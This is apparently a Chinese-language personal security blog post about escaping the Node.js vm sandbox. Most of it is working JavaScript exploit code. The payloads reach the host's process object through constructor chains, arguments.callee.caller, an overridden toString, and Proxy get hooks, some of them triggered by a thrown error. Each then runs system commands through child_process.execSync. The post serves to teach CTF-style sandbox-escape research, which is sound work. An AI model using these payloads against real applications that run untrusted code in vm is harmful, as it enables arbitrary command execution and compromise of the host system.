0wlle0n
for me

vm1沙盒逃逸详解

2024-11-19

vm1沙盒逃逸

沙箱逃逸本质就是找到一个沙箱外的对象,并调用其中的方法

this指向外部上下文对象

1
2
3
4
const context = { name: 'myContext' };
const result = vm.runInNewContext(`this.name`, context);
#this指向了runInNewContext提供的上下文context,这个对象在global
console.log(result); // 输出 'myContext'

context为空时,传入global对象

在沙盒中:

this指向它的构造器(函数)的构造器(函数构造器)

const y1 = this.constructor.constructor('return process.env')();

this指向它的toString(方法)的构造器(函数构造器)

const y1 = this.toString.constructor('return process')();

然后我们就可以通过返回的process对象来rce了

<font style="color:rgb(51, 51, 51);">y1.mainModule.require('child_process').execSync('whoami').toString()</font>

context为危险对象时,也可直接调用

1
2
3
4
5
6
7
8
// 创建一个包含危险对象的上下文
const context = {
myProcess: process, // 将 `process` 传入上下文
myRequire: require, // 将 `require` 传入上下文
};

const code = 'myProcess.exit()'; // 可以调用传入的 process 对象
vm.runInNewContext(code, context);

context用其他外部普通对象时,也可以获取全局的函数构造器

const y1 = x.toString.constructor('return process')();

context为沙盒内对象(用{}声明)或者null时,用不了了

1
2
3
4
5
6
const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
1
2
3
4
5
6
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

无外部上下文对象逃逸

捕获调用者

<font style="color:rgb(221, 17, 68);">arguments.callee.caller</font>,它可以返回函数的调用者(沙箱外的对象)

重写__toString

思路:定义一个对象,重写其toSring方法,当外部尝试以字符串调用该对象时,触发__toSring,而调用者(global下的对象)就被arguments.callee.caller捕获,用它来逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

访问任意属性时放出钩子

思路:实例化一个Proxy类的对象,写一个get钩子,任何对象访问其任意属性就被钩住,再被arguments.callee.caller捕获,执行全局下的系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const vm = require("vm");

const script =
`
(() =>{
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

主动抛出错误,寻找钩子释放点

抛出Proxy对象错误时,字符串拼接触发get钩子,使外部对象被arguments.callee.caller捕获,执行全局下的系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const vm = require("vm");

const script =
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
console.log("error:" + e)
}

Author: le0n

Link: https://0wlle0n.github.io/2024/11/19/vm1%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E8%AF%A6%E8%A7%A3/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
强网青少赛CyberBoard复现wp
NextPost >
Hello World
CATALOG
  1. 1. vm1沙盒逃逸
    1. 1.1. this指向外部上下文对象
      1. 1.1.1. context为空时,传入global对象
      2. 1.1.2. context为危险对象时,也可直接调用
        1. 1.1.2.1. context用其他外部普通对象时,也可以获取全局的函数构造器
      3. 1.1.3. context为沙盒内对象(用{}声明)或者null时,用不了了
    2. 1.2. 无外部上下文对象逃逸
      1. 1.2.1. 捕获调用者
        1. 1.2.1.1. 重写__toString
        2. 1.2.1.2. 访问任意属性时放出钩子
        3. 1.2.1.3. 主动抛出错误,寻找钩子释放点